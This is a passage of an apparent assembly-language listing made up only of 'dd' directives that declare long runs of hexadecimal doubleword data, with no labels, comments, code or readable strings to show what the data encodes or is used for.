		dd 60929500h, 3F840E0Ch, 0C7079785h, 8711E661h,	0FF1C4063h
		dd 5900D0E7h, 8E97FEC6h, 39929D03h, 0D381875Bh,	0E0FBCB5Dh
		dd 0E4FAC0F8h, 86275300h, 80C5259Bh, 0C7FC00EFh, 8DADE5FBh
		dd 0FB90FD94h, 489A8C00h, 0F3CF60A3h, 0C170AFD3h, 2081B67Bh
		dd 2D3C98D0h, 402C006Eh, 0DE487DD1h, 0C98D18FCh, 0AB772847h
		dd 9775E904h, 0D15D703Eh, 0C73D117Fh, 271DFB21h, 11F942E2h
		dd 0DF21CE9Bh, 907A0708h, 28ED8A9Dh, 84B48308h,	878B23Dh
		dd 0ADD742A1h, 0EEA60721h, 29D67903h, 19118542h, 40B21ACh
		dd 479DCCCh, 3B447C49h,	472F4872h, 2D90D889h, 2831818Fh
		dd 0EA325053h, 82F129D4h, 25AA843Ch, 0A1140417h, 0B81548D6h
		dd 4BC96900h, 0EA1DED17h, 3C828B00h, 0A9A4AA09h, 0CFF700ABh
		dd 9CA8D442h, 7D00AF1Eh, 0A34FB793h, 7159B5h, 0EF7D03Dh
		dd 8D73F155h, 6B260807h, 16505815h, 0A9D06h, 0F790819Ah
		dd 6A2BCFE4h, 1E00BAEEh, 0A35A2C92h, 8AD048h, 1490EE0Dh
		dd 60FAF858h, 0F343Eh, 8D2627DBh, 0AEEABBh, 5C40DF42h
		dd 57B03B30h, 6E67E600h, 69B455C5h, 0B3DA8021h,	415D5B01h
		dd 67E4901Ah, 562A1980h, 8E76BAB8h, 0DE1DE701h,	0D5241902h
		dd 0EAEF59D8h, 0F4C20044h, 2803F6AAh, 81004984h, 0B07619D6h
		dd 7F6A5358h, 6CF90B47h, 6C20796Bh, 4F40FBADh, 67ECB601h
		dd 5F81743Dh, 184CAD8h,	3A3C4DBDh, 0C8910355h, 400C6C2Ah
		dd 0E8975CCBh, 7AF83966h, 9DFF5087h, 5369C0D5h,	0CA01C10Dh
		dd 0AC6D90CDh, 0F3E475EAh, 5264B298h, 0D43FA850h, 76B8B80h
		dd 8D3D2F30h, 0BE49C100h, 0D1B452Bh, 0CDF0A1h, 0D54377ACh
		dd 0E2AD2294h, 0F937EA0Eh, 3F9AA062h, 0C65AC5h,	4EE8993Dh
		dd 0E9F6E49Eh, 0A60047Eh, 2FD6540h, 2B23008Dh, 0C9C7AA78h
		dd 6E3BC814h, 622C8074h, 0C5DAB244h, 0EFB8C09Dh, 0F3E6D749h
		dd 6C5E4200h, 13839ECh,	2AAC009Bh, 0AAABDA2Fh, 0F93C6AD3h
		dd 0BA838091h, 6DF5A454h, 0A81B4A52h, 0D22C070Bh, 0D3F0CB2Bh
		dd 0FA70C3h, 0B3DDD0BEh, 0C8EECA0Fh, 4E5052E8h,	0F01F7A88h
		dd 0A240862Bh, 0B732A1AFh, 0D1C13D4Ch, 0EEDF8B8Eh, 0D2FF8D00h
		dd 0CA009E33h, 6AB9E7C4h, 0DB4C9Ah, 0F9A684D8h,	24815B45h
		dd 7BDFD40Eh, 0EBAE02Ah, 0FBC65Eh, 64389471h, 0C2D7B20Fh
		dd 2BEFD607h, 81BEF3ACh, 0FFCFCEA4h, 17BF0C4h, 7AE90436h
		dd 203F1064h, 0AA1FA554h, 3E98528Ch, 1E885B10h,	5F3359FEh
		dd 0D7D75E14h, 0EA850572h, 0EC00D0B1h, 0C6005192h, 0D32DE83Bh
		dd 0FEE5A93Eh, 18A300BEh, 0B6D24060h, 0A63CC355h, 1E70001Fh
		dd 0AD906EB3h, 95BD0053h, 8CCAF113h, 380A2935h,	0E8143A2Ch
		dd 20897E00h, 60A95509h, 47F290B6h, 0FF062587h,	8D3F766Bh
		dd 192F0536h, 0C05A22E3h, 0F07C3D6Bh, 0EF27A41Fh, 181B1100h
		dd 0F8C68020h, 0E2EA54h, 85BEED1Ch, 0E30D39D7h,	0D9895800h
		dd 9646EA0h, 55E1023Eh,	8544D03Fh, 7B5A6440h, 0F9D24300h
		dd 0CCF75708h, 16760732h, 6123556Ch, 0D839EED9h, 84008D6Dh
		dd 0AD0C1399h, 0D745A6h, 0C1527C50h, 6CEAFA72h,	6EA85900h
		dd 30BA098Bh, 15FC0064h, 26958DB1h, 21D2F98h, 220058DEh
		dd 67FB9E9Bh, 1DB700DCh
		dd 2852FDD8h, 0E1121466h, 0A40EFA0Ch, 0A7B4E217h, 25B44072h
		dd 0A82663FBh, 46F06E88h, 53006DFCh, 8E58A4B0h,	54B5806Ch
		dd 4FCC4Bh, 1FA87AD7h, 0CB11DCF8h, 0C2C7400h, 0A4214B7Fh
		dd 7C9852h, 58E97B98h, 295DA2FEh, 4324C601h, 0A177B91Dh
		dd 0C90C30h, 7F0B5BB8h,	78736308h, 2B49009h, 116480F2h
		dd 97B46B3h, 58C0EC03h,	0D405BC01h, 0A1183099h,	72086989h
		dd 0BD00B27Fh, 689385D5h, 612FFBBh, 0A506EE76h,	0C70E4031h
		dd 9DE859BAh, 2388ADC0h, 0EF7DDFh, 0BD38121Dh, 7387A3A7h
		dd 8A830F00h, 0B0840BCBh, 779600F1h, 1B9DFAE6h,	0ED03D498h
		dd 4981458Bh, 937E0007h, 1A331C46h, 0E100CDC9h,	0D324C820h
		dd 129861FEh, 1D068Bh, 59E0D9B5h, 3A01A623h, 82ABD477h
		dd 0C8E4AAD3h, 0FF2A18B5h, 4A9A205Ah, 6C03BB0Eh, 9FEEC0D6h
		dd 71C0BEA7h, 66E100D5h, 2F6B2334h, 800A1946h, 84B79CE7h
		dd 4BB34200h, 0C18182h,	6AB42E9Fh, 8D54CF3Eh, 0E1622B0Eh
		dd 550C0326h, 9BF1C8A5h, 1EB5007Ah, 34580F6Dh, 750005DBh
		dd 66A47252h, 484E3643h, 0DC3E3810h, 409DEA92h,	77ECF1D8h
		dd 0B2F89FD2h, 9C00B090h, 0F475A468h, 33F5E7h, 0B979653Eh
		dd 249A924Fh, 19F37605h, 0C4003C2Eh, 0DB455238h, 580B0377h
		dd 0AB8FB2BCh, 0B4B84800h, 0D0094E9Ch, 5B221D43h, 5E36DDA5h
		dd 64C54026h, 8AA271D2h, 7FD8C58h, 4340F003h, 585C42F0h
		dd 75DB0001h, 10DDB91Fh, 0E1009A12h, 0CE92BFE4h, 3DB0EAC9h
		dd 0A98086A1h, 0F9E287E3h, 0A672C4B3h, 0CB008FEAh, 0C847BCCDh
		dd 3E6B0F8h, 7529F6Bh, 0DDB81CC2h, 8F0A0570h, 0B8BBB403h
		dd 136BAA07h, 26B849F1h, 0C623C440h, 45BC0007h,	1E29A2F3h
		dd 0BD0F4489h, 0E04E551Dh, 0D569FD3Ch, 0ECEC47h, 0ABC2F160h
		dd 98E99CBAh, 413A3E4Ch, 59A20B8h, 0A0C7B8A8h, 60276200h
		dd 9574D63Dh, 24D91FDDh, 9C4A8E17h, 8EDE340h, 0E03894Ch
		dd 0AADDEC2Bh, 0FFD590FCh, 0C5EF26EAh, 0B71060F0h, 0C27FBAD2h
		dd 0CF247807h, 0DFB017F3h, 41FCC7h, 360C13Fh, 9E13405Ch
		dd 4ABD7B1Dh, 5F85EDC0h, 33FFBEh, 3591612Fh, 8B37E70Dh
		dd 7960CD00h, 0A39C6C50h, 6E6400BDh, 661D77D4h,	5D3E1C1Fh
		dd 0EC9DA4B0h, 605F6200h, 192FBh, 0A1E4B808h, 77C932F7h
		dd 0F47B2900h, 42B35213h, 0AE430151h, 0A9719ACCh, 7978947Dh
		dd 19F72698h, 403FCE00h, 2491DEh, 7590153h, 6213A112h
		dd 786C7303h, 0D03C3525h, 0EC262305h, 0AC7600D9h, 0A80CC2CFh
		dd 0F7009399h, 0C6EC324Dh, 79ED6855h, 2F5D0041h, 63B69091h
		dd 0D400C375h, 1F2280BAh, 3B426915h, 0DB163BDAh, 46400CCh
		dd 0FBA88D1Ah, 4EC0D100h, 6EE0F68Eh, 0AC2849AEh, 2F263300h
		dd 0E322A0AFh, 0CB478600h, 1166A703h, 844603A5h, 0A469C10Bh
		dd 3A1DF1E8h, 58156E00h, 74689A5Ch, 4BC9AF5h, 0E05D1E85h
		dd 64B0C053h, 7A3B3717h, 0AB1061BFh, 2885A0E1h,	802E893Fh
		dd 7CAD6E84h, 502C4158h, 28736A20h, 0D8364A01h,	0A91E7724h
		dd 431420h, 692CE8CDh, 3CCF8B6Dh, 8DC8903h, 0C0455FB5h
		dd 0D05B64h, 0F044180Ah, 0A31AB217h, 4583403h, 0D8F752AFh
		dd 489C363Fh, 0C008204Dh, 990BBC63h, 0D90820EBh, 75D1C4D0h
		dd 0EC880909h, 8002254h, 7CFA8FB5h, 99E60800h, 64F05CF6h
		dd 25B090B9h, 0C0005BBAh, 2CD7B668h, 1A41259h, 39150335h
		dd 0CDD819CEh, 76E4002Dh, 9992E16Fh, 0B3390225h, 52A1005Ch
		dd 3ECC4ADBh, 2BC71288h, 0C4B0011Ah, 60B10A5Dh,	0B0A80648h
		dd 6876DA58h, 5711A46Bh, 0C8DDF780h, 1500C05Ah,	0DFEC519Fh
		dd 0C35DB9h, 797E91E9h,	5554E098h, 0F0331000h, 651953D6h
		dd 0A9D5007Bh, 984240AEh, 4413C2ADh, 84C00C59h,	0A8B356BCh
		dd 18A05C8Ch, 11160620h, 0FF11C17Ah, 5500B4E6h,	1875E72Fh
		dd 0B701268Dh, 0FE66D763h, 4020C19Bh, 4F403E4Ah, 6F78FB00h
		dd 375111DAh, 68806A01h, 5E894502h, 29ECD180h, 103F0ADEh
		dd 0BE0CE214h, 370D00C0h, 2A9A6E52h, 153100C4h,	0E6497D1Bh
		dd 3D006304h, 0D8A4585h, 188B18D2h, 98DAB29Fh, 590113A0h
		dd 0F11C2741h, 79C809CCh, 0D67D0082h, 0B99C04Eh, 0F81EF30Ch
		dd 0C2CEFBD4h, 9456E72Eh, 0F9123F80h, 11B71DDFh, 8B20080h
		dd 0E58439EFh, 0E43CFB00h, 0BDF47116h, 2DDC0033h, 4BEDBF44h
		dd 1B2EF398h, 4D004D0Eh, 7C7DB1E3h, 0ADC100FFh,	1FBEC224h
		dd 8901EEC8h, 0DDD23582h, 0AC2CE08Ch, 470B0E04h, 347940A6h
		dd 461497h, 93AC8FAAh, 0B24C88A5h, 6D715300h, 0B859E869h
		dd 0C7AE01CFh, 0C112EED1h, 0DC94DDB1h, 0BA00F401h, 5BBB8CA5h
		dd 265A21h, 0D5C7A905h,	1AE7095Dh, 0A5387100h, 2F31B9ADh
		dd 0A75300EEh, 817FA974h, 6500C915h, 0AB02E1C4h, 0A12859h
		dd 0AC387089h, 51727D84h, 3B2C7C00h, 556B17DCh,	0F12D3814h
		dd 9FA7C100h, 31A8F6Ah,	0ABE7A0Fh, 0D691E3AAh, 0E645D806h
		dd 465005Bh, 710F58A8h,	211CE9FCh, 1DC0A697h, 7585B963h
		dd 37E30026h, 54B7810Bh, 9B39063Fh, 0ACAF00F7h,	41826397h
		dd 96C03965h, 60FD4980h, 0AA645031h, 5C04911Eh,	84F86D80h
		dd 73F89EDh, 747B7E25h,	707C60C7h, 46745C11h, 509B1900h
		dd 0EF684CDBh, 0D4800313h, 0A27106Ah, 0F08D2800h, 0CFA1DC1Bh
		dd 0B8265129h, 585898D4h, 0A348006Eh, 2C11BD00h, 4597E0DCh
		dd 95DD9900h, 0DF4164B3h, 5371C3F5h, 6BA0293Ah,	0C50CA1A2h
		dd 0C006D1B0h, 522700C7h, 39333F57h, 2F007AF8h,	0D54C72DCh
		dd 0C0E69437h, 0E88A3B29h, 5F0395FAh, 5DFFAE66h, 1619D8A5h
		dd 0C093EA8Fh, 0F5AF5268h, 4302D8BCh, 8D0F83F9h, 0F49460C7h
		dd 95461239h, 0BBF040AEh, 0FC1BEA29h, 77D3158h,	0E2DC8C23h
		dd 173B0140h, 8EC83D8Ah, 2BEE7A80h, 0CBA1D43h, 0B3F2B500h
		dd 45A028ACh, 0E56412DAh, 65C91E91h, 0D1A87400h, 260020D3h
		dd 185E5A9Bh, 0BCFBDh, 28FDF7B7h, 0E1C92234h, 0F49B8700h
		dd 0FFC70ECCh, 0D31B0E98h, 6D80E558h, 0AF99475Dh, 1A33A41Eh
		dd 47B216CEh, 0A99079CEh, 0F7D431h, 567763CFh, 0EF3BEAF2h
		dd 4C601F01h, 76471E87h, 2026BF0h, 264549D9h, 70600474h
		dd 0C088150Dh, 9887002Fh, 4EFF2951h, 3100C3D3h,	0ABA7E986h
		dd 61FADh, 0D68FDC58h, 0F3AF18CFh, 16C19200h, 2F12E37Ch
		dd 10D7850h, 0CB813890h, 0E675F586h, 451D0DC0h,	0C7068F00h
		dd 0CF1A97BFh, 291B29F2h, 336A0F90h, 74CC8280h,	0D0971489h
		dd 90DB000Ah, 0BA36D898h, 800081D5h, 0AB1E744Fh, 740175EAh
		dd 6C4200A6h, 8CBD073Eh, 1703AFF7h, 76FC2287h, 0C6CAD8B0h
		dd 0C7B8A067h, 0D0EA3Dh, 66B36B62h, 35ADBF75h, 0CBBB871Eh
		dd 16DD26C0h, 12BC289h,	98B68C2Ah, 0FCCCCD6Fh, 8700B230h
		dd 27090E91h, 0A138F1h,	8D696741h, 0B3BF103Ch, 87A2B203h
		dd 0B77315DEh, 2480B9B7h, 14454Ch, 8EB41A6Ah, 0C7C56FD3h
		dd 16AD9344h, 0C0BE543Bh, 6EF7D73Ch, 0C3DB9500h, 0D2A93A7h
		dd 483702F3h, 924A41Eh,	0D5AD4640h, 3979333Fh, 52E400BDh
		dd 0A11F8B44h, 0F96A00BCh, 0A416E8A3h, 1A2ED371h, 48005266h
		dd 65102A4Fh, 18B709EBh, 5C4008A3h, 2F393039h, 773B8114h
		dd 0D5A91345h, 280E0C20h, 0D0B240h, 0FA73FD9Fh,	3F299622h
		dd 0C3394CB2h, 8E1F8F5Ah, 3DCC405Ch, 1B4E0Fh, 8E374F8h
		dd 9FC27671h, 296F8500h, 2B5C567Eh, 9A540115h, 0FD8CB746h
		dd 3E845110h, 0B192C86Ah
		dd 41050B98h, 0E5CCD15Dh, 1714A0h, 0BD4F382Ah, 2E19D73Fh
		dd 0A3CA7400h, 553A2F8Eh, 731EA6Dh, 0BB08E587h,	5DE7D0D8h
		dd 7400E166h, 0E92117A6h, 4F90AF7Ch, 41EC8006h,	2F58EFD1h
		dd 84AE0C66h, 0C0F8680Eh, 2726E460h, 8E0E692Eh,	2001FC07h
		dd 0B1D8E7DCh, 744C00D9h, 754F1261h, 0E803B225h, 372F512Bh
		dd 0BB19621h, 55FEB378h, 0E52B800h, 0BD3A6BD8h,	94118B97h
		dd 53048114h, 0FC52B8C2h, 21B0A083h, 0B4373Ah, 0B98ABF9h
		dd 758ED7E9h, 69E1B904h, 0E88067CAh, 7DC3A5CDh,	7CEA0048h
		dd 4E56124h, 0A1174602h, 0B000BBE1h, 331FF42Fh,	8C2E003Ah
		dd 0FA4FCDC9h, 37004DF1h, 54351299h, 275ABBA8h,	0EC878FD5h
		dd 809C35D6h, 181689ACh, 0EF234017h, 0EAE6B000h, 42F666Fh
		dd 4B152D0h, 36EDC07Eh,	3900F2DEh, 0EFD6E922h, 0E4A7228h
		dd 41EBD50Dh, 294BA6Ah,	4E29549h, 0FEEF3440h, 0DF075BFCh
		dd 2D76995Fh, 0ED3FAA03h, 8C005456h, 0DBB1F082h, 0A47D0061h
		dd 30D2E9D4h, 51000813h, 2071A26Dh, 2B49BDCh, 726BE1DEh
		dd 0F87B958Dh, 8BC18700h, 2062Bh, 1BB1AC78h, 6BDB7B71h
		dd 60528A00h, 0CCBEA18Dh, 9909008Eh, 8CC7C636h,	0A00C5BAh
		dd 26B40E48h, 3CD68375h, 7638CCh, 580F7CDFh, 2B08EF62h
		dd 4E530224h, 0DA718B07h, 0E5BEF7E0h, 18D9006Ah, 1BD6F26Eh
		dd 5001772h, 0E964748Dh, 0FC510B2h, 0E74BD3A1h,	0D8C08009h
		dd 0D031ED6h, 163A9DCh,	83B6E36Bh, 0AAE80028h, 0FAFE2495h
		dd 77000EF4h, 6705E569h, 74D04D02h, 1B37331h, 0A2DE75CCh
		dd 7018C69Dh, 361E4C65h, 7C03E9EEh, 8855EA31h, 76E160h
		dd 0BD7AF07Bh, 40D79D51h, 0FF6F480Ah, 9900A406h, 2F4A9F60h
		dd 0A3E680h, 2E8BC990h,	754345FEh, 650068EEh, 7FEEDB0Dh
		dd 3CA66732h, 710386DEh, 3646E9EDh, 0A6B8DA8h, 0E41DEEB0h
		dd 0B480F59Ch, 0CCBCE623h, 24BE0047h, 9205621Ch, 6D7AA311h
		dd 3B94B201h, 9E85543Dh, 0A69D70h, 0AB6C2DBh, 395B186h
		dd 4D006A77h, 67970E87h, 1C8327D2h, 80E00D18h, 4F293507h
		dd 0B9004AFEh, 8C36761Eh, 5C22B3h, 8654F5A5h, 0C28FA3E2h
		dd 0A44EF83Eh, 79E0DCF9h, 7E5CB8h, 15F86F5Ah, 0E00F1EADh
		dd 5237AF01h, 72C26695h, 1FB01C64h, 843A1340h, 91E02468h
		dd 20A9A570h, 811D316Dh, 64127E6h, 9736DCF4h, 0F051F442h
		dd 0A7470088h, 0A210B14Bh, 0BC00EEF6h, 3233AED0h, 19EFA8Eh
		dd 1D125F79h, 2CA874D8h, 3AAEA078h, 0DC92DCh, 39F5BE1Eh
		dd 0E3540E8Dh, 0A327ED03h, 1B8A20Bh, 0AB032CD9h, 0C284B12Dh
		dd 0B33F4C68h, 0BCC949h, 0FA62CCCEh, 633C56E8h,	3BCA2023h
		dd 75EDACC8h, 0A0578725h, 71A6A07Ch, 10F69Bh, 1853936Ah
		dd 499AB5C9h, 2997CD00h, 38EFCFFCh, 0E53000AAh,	7E77B65Bh
		dd 40C0F34Fh, 3978CED1h, 0F95400AFh, 0CD8951D9h, 920E6BF5h
		dd 3E52DD2h, 95C7F62Fh,	5EA514C7h, 0E88080C5h, 35FFF2Ah
		dd 0FCBD84E2h, 0DD88C745h, 0B40B5B63h, 0A0499CD5h, 25463F64h
		dd 0A6730A64h, 809CFE75h, 1D8B7A7Dh, 5F5CF8ABh,	5D620354h
		dd 0F319BC1Bh, 684A98CFh, 917200CEh, 0EC92783Dh, 14FA6553h
		dd 0C79AE807h, 0FC901757h, 0B9E1F1h, 0EC440512h, 7ABA807Dh
		dd 14D4D600h, 0E18F85A4h, 796D00B6h, 0F52C8782h, 1F07EAA7h
		dd 0E891CA3Ch, 0C02BF7E2h, 0F604A44h, 0D21EEE7Bh, 0E70280FFh
		dd 5BAC315Ch, 0FED6DB00h, 0A26FFAB0h, 7AA90083h, 1AC917D4h
		dd 0EB00BC6Ah, 0ED68B08h, 0F12BB5h, 0CAAF4435h,	7EBA5BDFh
		dd 0F6365107h, 0E430276Fh, 0F290FBh, 224FE968h,	18EFC460h
		dd 8B207A07h, 0F1502EADh, 3F566Bh, 0E6A8C9C1h, 0EA4A3A95h
		dd 2BC04F00h, 0BA522DF6h, 0A9E1009Ah, 0C240FC20h, 0C0981C54h
		dd 0EC183807h, 0B2800B6Ah, 860365h, 60FC5714h, 0D6F8BF6Ch
		dd 0E69C9100h, 1851951h, 28470738h, 60B9BB94h, 0D2062AFFh
		dd 0FBC6081Dh, 0D61E0A04h, 0A87084h, 420D38EBh,	0CA369180h
		dd 0CC4A13B8h, 6880F487h, 0ED74E32h, 0E63AE00Eh, 0FFC96140h
		dd 0A900C28Ch, 46E2F0A2h, 0B9BC4B8h, 0DDAB76CDh, 83FE8860h
		dd 3F3A1000h, 7ACAB34Ah, 9F2600EFh, 0A7EBF5A1h,	9600E97Ch
		dd 16C3032Fh, 1C8FC7EDh, 7EAB0C29h, 0F7E09080h,	5E544097h
		dd 6613120Fh, 75C0FDEEh, 27A7ACFCh, 0C9410077h,	3CC0B41Fh
		dd 33004881h, 65525A99h, 0C79044h, 2DC50F84h, 9DCD127Dh
		dd 2AE27400h, 0B3A9AFCAh, 0FBE80037h, 0A8810A87h, 730058D5h
		dd 0F23CE9A7h, 0FE3FF085h, 54AB4960h, 368D1600h, 68A93A52h
		dd 0DD2D3Fh, 77FDC288h,	2C9A3296h, 9C60Fh, 9076223Fh, 1600C492h
		dd 44E7A885h, 55250h, 406D7751h, 0DDD7CB60h, 3A045490h
		dd 6FC49BE2h, 3BFB00C0h, 15DA0063h, 0BB8D44C1h,	0CF037C77h
		dd 739EB0CCh, 9143E897h, 2272000Ch, 3F8E101Ch, 0D607CD0Fh
		dd 29A9FAD3h, 0C0F49700h, 1DD500C3h, 0CD469144h, 0F000C112h
		dd 41D2B147h, 3EF4DC0Ah, 5D0AA23Fh, 2694E830h, 88B40068h
		dd 0AED85AFCh, 0D653B209h, 6D368276h, 0E5B868A6h, 0B92D009Dh
		dd 41421084h, 3A00D1C2h, 57F0E66Ch, 0EFD389h, 3D818524h
		dd 0A62C98DEh, 0CB82D500h, 0B6635C6Dh, 10D16F1h, 0FB270146h
		dd 30254BF5h, 0DD3F9DD4h, 0DC8780E0h, 26E3EF63h, 1D8007Eh
		dd 7C401955h, 98EACD03h, 0AB482000h, 7BF045B2h,	52600061h
		dd 28B07C4Fh, 361431E3h, 0A00713h, 0A01E3339h, 999E9A1h
		dd 284C58C2h, 0F226EC40h, 0D546BC0Fh, 69E32014h, 8353DEh
		dd 219CCC08h, 0C1046AB5h, 0D0640902h, 0E3BE9FB3h, 8F53C8C5h
		dd 7DDF000Bh, 80617A9h,	0EA72077Ah, 80A88450h, 94864828h
		dd 641A9A00h, 0A24F0D2Ch, 0BFD00228h, 72A74E91h, 0B2D2A4C0h
		dd 0A16E6426h, 0DA8DB500h, 0A81D1Ah, 2858B710h,	73E36AAFh
		dd 0BD499B01h, 0A189A4ACh, 8DE830h, 0BE643365h,	928AE8E0h
		dd 0F2F6ACEAh, 0CC1B9800h, 20EB5BFDh, 0D5FF00BDh, 0D6FBE62Fh
		dd 8B48BAFAh, 0F95C03F0h, 0B828561Dh, 3DE5D146h, 0D80281AEh
		dd 0D9DFF438h, 2640F880h, 57769489h, 13A0DC48h,	8C00FC43h
		dd 34EB6D64h, 0B023A8Fh, 0FBDE07FFh, 0AC7750C2h, 0B14D1DB4h
		dd 944E0048h, 49F833B0h, 1DB02EEh, 4BD6C858h, 0CD60405Eh
		dd 2E797E13h, 0C448B9h,	0DCE87B25h, 0E739E3D5h,	5D4D1ED7h
		dd 359C006Dh, 56C8DB1h,	9B218777h, 746490BFh, 0C47E288Bh
		dd 7E636A00h, 0A6871F97h, 57701D4Dh, 0D75449B9h, 0E95E8800h
		dd 0C95F8F80h, 0E49A042h, 448E60FFh, 873F04D9h,	0C0D89709h
		dd 0FE8A7A82h, 1BFC4C00h, 3712ACB1h, 52EE0039h,	91667D9Bh
		dd 550017B7h, 0FE463D62h, 74C2A2h, 87C91157h, 0E65CA5ABh
		dd 3FE42300h, 0B1645954h, 0CDB00082h, 0AA703C7Ch, 6500D480h
		dd 0F096D025h, 0BE9A7Eh, 902F85BBh, 505435CDh, 0CCDBBA28h
		dd 0CFE6A475h, 60711803h, 17972FEEh, 80C9CECCh,	48C6D3ECh
		dd 4281CF00h, 0EBE46183h, 1EC70023h, 242145BDh,	8905E22Bh
		dd 3D116744h, 0CC0136C4h, 9D8FBAFCh, 94CC70h, 8D9E3265h
		dd 151DA107h, 7D955800h, 13BC730Bh, 98B045h, 0EAF927E0h
		dd 0D0E70C93h, 0DD87BB01h, 75C58DF3h, 2F6C30h, 0C70177C2h
		dd 43C8EE73h, 809E533Dh, 2A275F14h, 0B1BFF90h, 76D57B17h
		dd 0C002B405h, 8B184046h, 220A6900h, 0DF31608Ah, 0CA1101C0h
		dd 1BF02B4Fh, 0A6C8F35Fh, 0C27CC7BDh, 2E6BDE48h, 3D00CC6Dh
		dd 0A22666B8h
		dd 563F002Bh, 0F20EBE4Bh, 820020A6h, 9846C614h,	2E0F436h
		dd 7015543h, 4C74915Dh,	0D0003A13h, 6602B22Ah, 2E6812FBh
		dd 0A47480C6h, 3802B7B0h, 1236CA63h, 7DB4E03Dh,	0C1661CD3h
		dd 683B8083h, 58097A88h, 0BD173Fh, 38AF20B7h, 0B84CA72Ch
		dd 0EB6100C0h, 8786D4FCh, 26016FE5h, 4E434035h,	9A20E68Ah
		dd 2828C0B8h, 31F7078Fh, 46B0C03h, 0E064D049h, 65B5CBh
		dd 0F1C39C79h, 0E6CE93DBh, 103E1F00h, 305FB28Dh, 0BE5C04A9h
		dd 903187E2h, 60F6BB04h, 0E1AF2D01h, 0B0DC08D1h, 5EC4802Ah
		dd 0D67EB76Fh, 0B2B1C03h, 0AFCA26E0h, 46174900h, 0BDF1000Dh
		dd 89E10169h, 3175D73Dh, 0DB79BB00h, 0C5637044h, 0BE9E0066h
		dd 628C2D90h, 8898B9BFh, 29398870h, 4BFCh, 0ADE831BDh
		dd 0BC7BC6h, 6486973Dh,	0F03BB81h, 0A64E4Ch, 0DE89E72Fh
		dd 0A1AB62h, 0C1567E87h, 573912BAh, 5E731B00h, 6A8A519Ch
		dd 12ACB6A9h, 47EC00DDh, 729DA63Ah, 206E5A60h, 308A24A0h
		dd 42A0FCECh, 0A600BB45h, 73919217h, 0C0D6F63Eh, 87DBABA8h
		dd 0DD2C5C19h, 803F2046h, 9DAA3228h, 0BB05Eh, 0FB2AD058h
		dd 56750CBFh, 33300F73h, 0F7D860DFh, 31933B6Ch,	0BB0180C8h
		dd 2C0CD09Ch, 92D4241Ch, 0D42D5700h, 3FC62388h,	0B00F1C9Bh
		dd 0D6298025h, 0A0708417h, 2CFD10B8h, 0D9020038h, 0D76D8C6Fh
		dd 0EC1F0334h, 3671BFE8h, 941C7FE8h, 0C4C14B09h, 0FB6C6096h
		dd 0B441182Eh, 611B4175h, 0A76A9A00h, 62019457h, 0B9AE00ECh
		dd 79C380F3h, 0CE004076h, 0A8983EF4h, 9F2BF22h,	8C366F3Ch
		dd 5BFF9880h, 0BD5023FEh, 9D03D3A5h, 0D2F59C6Eh, 0F8D6E377h
		dd 3299875h, 272CCCF8h,	7800AF82h, 3CB5E2C6h, 0C86A78h
		dd 0BE4D03EAh, 46D58F5Dh, 7F51D015h, 0AB1501E8h, 2A9B4161h
		dd 354D3E4h, 7AA3BD4Ch,	3CD8C8C4h, 5500EF9Eh, 5DFF844Ah
		dd 90875340h, 0D5798Ch,	0D20691F2h, 0AFAE90EBh,	0D918C9h
		dd 0ABF77B55h, 1E5B0009h, 4453E9B3h, 0F600945Ch, 359786F4h
		dd 280683E5h, 3AEC410Ch, 93BF300Eh, 6B8B2200h, 0EBB42088h
		dd 0E92EA376h, 8580688Ah, 6FDBED9Dh, 0C49058C4h, 0BBDF0C00h
		dd 3DA80DBEh, 0EBAC9E00h, 0B31A1561h, 0DBD800A4h, 9CE98551h
		dd 9B004FF3h, 743AE5D9h, 3289F34h, 1FBE5477h, 0DEB04ED3h
		dd 70976615h, 0F6A413C8h, 69002028h, 29E6FD1Dh,	0BEB1BB0Eh
		dd 7F8B0053h, 0E939ACh,	0FA6F872Fh, 3C960E8Eh, 28A940FBh
		dd 3F27BD4Ah, 524460E3h, 922D0064h, 572F5D45h, 9C079D78h
		dd 0DF4DE882h, 23F0A41Bh, 0CBDE9A01h, 11D8242Ah, 92C5A000h
		dd 0B50C4573h, 0DF600AAh, 8E994355h, 0E0B83465h, 3D8DDF24h
		dd 3DDE5400h, 27C7C28Ch, 4000CC4Bh, 0B1DFE8B6h,	9B2BB806h
		dd 0B19302Eh, 0E7058CDAh, 844D44C0h, 0C904CE00h, 9054F41Ch
		dd 999C78Dh, 0D58AE0F2h, 50004068h, 9CF30FDBh, 333A349Fh
		dd 7E51E462h, 6CD6E1F9h, 0C27D1770h, 0CF830800h, 98A75C3h
		dd 0FD930152h, 1D8EEC00h, 0D93ACD2Ch, 95369FC0h, 52030D6Ch
		dd 0E0B1A877h, 0E019E255h, 5C4EA23h, 0F92E4AE6h, 3DDCB008h
		dd 3922850Ah, 7B008048h, 0A9E656D1h, 68435020h,	4E362A40h
		dd 0BA9100A4h, 14DF2D45h, 22016FB2h, 378A47C0h,	4DFCB18Ch
		dd 0C04854D1h, 0C2D300CFh, 95E30BA2h, 0E1D2F170h, 30B92E10h
		dd 0B1C5114Ah, 7F4CB2DCh, 0EDA500C7h, 0CF7AD519h, 85007839h
		dd 81D60E6Ah, 2643653h,	3A9704BAh, 0C40063Ch, 0EF7C58C6h
		dd 0B8D2D70Ch, 104822h,	14123398h, 0DE55E638h, 940BC04Fh
		dd 60AA001Fh, 48D2896Eh, 5F075059h, 0C64F6822h,	0E100102Dh
		dd 3B9C63E8h, 30A60FD3h, 10182E8Ch, 4A027672h, 84B631B5h
		dd 0FDA0604Eh, 90AD402Ch, 0B8870C5Eh, 81868B80h, 555B0C52h
		dd 0D84006E6h, 83432E38h, 23F00A63h, 7665E2CDh,	0C48B0034h
		dd 45FF164Eh, 6141D300h, 98E27B96h, 464763Dh, 382AD85Bh
		dd 25F4C0CCh, 70F8F6CEh, 1C20F000h, 85E3935h, 7519E84Ah
		dd 46AC01AFh, 0DF14C23Eh, 0AB2FD0D4h, 9D1CEC00h, 0C8F2124Ah
		dd 89ED0782h, 0B73E0D99h, 0B85130FDh, 0A4189E16h, 6BB01209h
		dd 824C04B7h, 87FEA739h, 4AE44389h, 305C37B8h, 7F00607Ah
		dd 580E1A04h, 13C33DBh,	0A26DE841h, 0ED060AA7h,	6188C03Eh
		dd 0F5479D0Bh, 76848023h, 979B44h, 0E4F358FAh, 66F9E237h
		dd 3E007E7Ch, 0F4E6A989h, 125A0ADAh, 0A04B97D9h, 6A1D0434h
		dd 0D1809830h, 7EDB2EEFh, 0D63E00EAh, 0D80B428Fh, 15008636h
		dd 0C8EF184Bh, 0E33952Bh, 1693B12Fh, 4F191060h,	5C243165h
